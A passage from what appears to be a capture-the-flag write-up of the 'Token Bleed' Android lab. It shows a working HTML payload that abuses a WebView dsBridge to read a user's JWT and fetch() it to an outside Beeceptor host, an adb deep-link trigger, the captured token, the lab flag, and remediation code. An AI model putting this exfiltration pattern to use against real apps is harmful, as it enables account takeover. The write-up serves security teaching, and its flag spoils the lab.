— giving us the exploit template directly.</p><blockquote><strong><em>🔍 Key Insight</em></strong><em> — The app’s own help-center page loads dsbridge@3.1.4 from CDN and calls getUserAuth via bridge.call(). Our malicious page replicates the exact same pattern. The app’s own code is our exploit template.</em></blockquote><h3>Step 7 — Attack Scenario</h3><p>With all three components identified, the full chain is clear. We deliver a crafted mhlcrypto:// deep link to the victim. The app opens our malicious page in DWebViewActivity, our JavaScript calls getUserAuth via the bridge, and the JWT is exfiltrated.</p><ol><li><strong>Host the malicious page</strong> — HTML page that loads dsBridge, calls getUserAuth(), forwards JWT to receiver</li><li><strong>Craft the deep link</strong> — mhlcrypto://showPage?url=https://bleed.free.beeceptor.com/token</li><li><strong>Deliver to victim</strong> — via ADB, SMS, QR code, email, or any channel that opens a URI</li><li><strong>Receive stolen JWT</strong> — bridge fires, token arrives at hook endpoint</li></ol><h3>Step 8 — Exploitation</h3><h3>9.1 — Setting Up Endpoints</h3><p>Two Beeceptor endpoints are created — one serves the malicious page, one receives the stolen token:</p><pre>Payload endpoint  :  https://bleed.free.beeceptor.com/token<br>Receiver endpoint :  https://bleed.free.beeceptor.com/hook</pre><h3>9.2 — Malicious HTML Payload</h3><p>The page loads dsbridge@3.1.4 — the identical version used by the app. On DOMContentLoaded it calls getUserAuth and exfiltrates the JWT:</p><pre>&lt;!DOCTYPE html&gt;<br>&lt;html lang=&quot;en&quot;&gt;<br>&lt;head&gt;<br>  &lt;meta charset=&quot;UTF-8&quot;&gt;<br>  &lt;title&gt;TokenBleed&lt;/title&gt;<br>  &lt;!-- Same dsBridge version used by the target app --&gt;<br>  &lt;script src=&quot;https://cdn.jsdelivr.net/npm/dsbridge@3.1.4/dist/dsbridge.min.js&quot;&gt;&lt;/script&gt;<br>&lt;/head&gt;<br>&lt;body&gt;<br>  &lt;h1&gt;Hoocked&lt;/h1&gt;<br>  &lt;script&gt;<br>    function send(token) {<br>      fetch(&quot;https://bleed.free.beeceptor.com/hook?token=&quot; + encodeURIComponent(token));<br>    }</pre><pre>    document.addEventListener(&quot;DOMContentLoaded&quot;, () =&gt; {<br>      const bridge = window.dsBridge || window._dsbridge;<br>      if (!bridge || !bridge.call) return;</pre><pre>      bridge.call(&quot;getUserAuth&quot;, {}, function(resp) {<br>        const jwt = resp &amp;&amp; resp.data &amp;&amp; resp.data.authtoken;<br>        if (jwt) { send(jwt); }<br>      });<br>    });<br>  &lt;/script&gt;<br>&lt;/body&gt;<br>&lt;/html&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/832/1*bN4dPo1p55q0yUOolmalGw.png" /></figure><p><em>Fig 7 — Beeceptor /token endpoint serving the malicious HTML payload</em></p><h3>9.3 — Triggering the Deep Link via ADB</h3><p>The deep link is fired using adb to simulate the victim opening the crafted link:</p><pre># Fire the malicious deep link<br>adb -s 127.0.0.1:5555 shell am start \<br>  -a android.intent.action.VIEW \<br>  -d &quot;mhlcrypto://showPage?url=https://bleed.free.beeceptor.com/token&quot; \<br>  com.mobilehackinglab.exchange/.SplashActivity</pre><pre># Expected output:<br># Starting: Intent { act=android.intent.action.VIEW<br>#   dat=mhlcrypto://showPage?url=https://bleed.free.beeceptor.com/token<br>#   cmp=com.mobilehackinglab.exchange/.SplashActivity }</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/851/1*TtzzI-uPigDxABCOWX9mHA.png" /></figure><p><em>Fig 8 — ADB fires the deep link; DWebViewActivity loads the malicious page (“Hoocked”)</em></p><h3>9.4 — Token Received</h3><p>Immediately after the WebView loads the page, the bridge fires getUserAuth() and the JWT arrives at /hook:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*f4beqaP18205lRGqBpMTdw.png" /></figure><p><em>Fig 9 — Beeceptor /hook endpoint receives the stolen JWT token</em></p><pre>// Token received at /hook endpoint<br>GET /hook?token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9<br>          .eyJuYW1lIjoidGVzdCIsImVtYWlsIjoidGVzdEB0ZXN0LmNvbSIsImF1ZGl0...<br>          .z9mAM6hH42XSO4zGCAuNsHUQoaauJPBZi1uMMYOTJfE</pre><h3>9.5 — Decoding the JWT — Flag</h3><p>Pasting the captured token into <a href="https://jwt.io/">jwt.io</a> reveals the flag inside the audit_ref claim:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*v86Q4aU_oZtXV2ClR3gY3w.png" /></figure><p><em>Fig 10 — JWT decoded at jwt.io — flag visible in the audit_ref field</em></p><pre>// JWT Payload — decoded at jwt.io<br>{<br>  &quot;name&quot;:      &quot;test&quot;,<br>  &quot;email&quot;:     &quot;test@test.com&quot;,<br>  &quot;audit_ref&quot;: &quot;MHL{w3bv1ew_br1dg3_pwned_gg}&quot;,   // ← FLAG<br>  &quot;tier&quot;:      &quot;Silver&quot;,<br>  &quot;iat&quot;:       1772117845,<br>  &quot;exp&quot;:       1772121445<br>}</pre><blockquote><em>🚩 </em><strong><em>FLAG: MHL{w3bv1ew_br1dg3_pwned_gg}</em></strong></blockquote><h3>Remediation</h3><p>Three root causes — each must be fixed independently:</p><h3>Fix 1 — Validate the url Parameter Against an Allowlist</h3><pre>// Fix 1 — Allowlist in handleIntent()<br>private static final List&lt;String&gt; ALLOWED_HOSTS = Arrays.asList(<br>    &quot;app.mobilehackinglab.com&quot;<br>);</pre><pre>Uri parsed = Uri.parse(queryParameter);<br>if (!ALLOWED_HOSTS.contains(parsed.getHost())) {<br>    return; // reject<br>}<br>intent2.putExtra(&quot;url_to_load&quot;, queryParameter);</pre><h3>Fix 2 — Add Origin Check in getUserAuth()</h3><pre>// Fix 2 — Origin check in getUserAuth()<br>String currentUrl = webView.getUrl();<br>Uri uri = Uri.parse(currentUrl);<br>if (!ALLOWED_HOSTS.contains(uri.getHost())) {<br>    handler.complete(new JSONObject().put(&quot;error&quot;, &quot;Unauthorized origin&quot;));<br>    return;<br>}<br>handler.complete(new JSONObject(token));</pre><h3>Fix 3 — Replace Custom Scheme with Android App Links</h3><p>Replace mhlcrypto:// with <strong>Android App Links</strong> (https:// + assetlinks.json). App Links require domain ownership verification, preventing any other app from hijacking the deep link.</p><h3>Conclusion</h3><p>The <strong>Token Bleed</strong> challenge demonstrates how chaining an <strong>unvalidated deep link</strong> with a <strong>privileged WebView JavaScript bridge</strong> enables full authentication token theft with a single crafted link.</p><p>Key developer takeaway: any @JavascriptInterface method exposing sensitive data must validate the origin of the calling page. A WebView loaded with an attacker-controlled URL is as dangerous as XSS — and getUserAuth() treated every page as equally trusted.</p><ul><li><strong>Root Cause:</strong> No URL allowlist in handleIntent()</li><li><strong>Amplifier:</strong> getUserAuth() exposes JWT with no origin check</li><li><strong>Attack Vector:</strong> Custom deep link scheme mhlcrypto://</li><li><strong>User Interaction:</strong> One click (or zero via ADB)</li><li><strong>Impact:</strong> Full account takeover via JWT theft</li><li><strong>Flag:</strong> MHL{w3bv1ew_br1dg3_pwned_gg}</li></ul><blockquote><em>References: </em><a href="https://mobilehackinglab.com/"><em>Mobile Hacking Lab</em></a><em> ·</em></blockquote><p><em>This write-up is published for educational and security research purposes only.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=87de86a98189" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>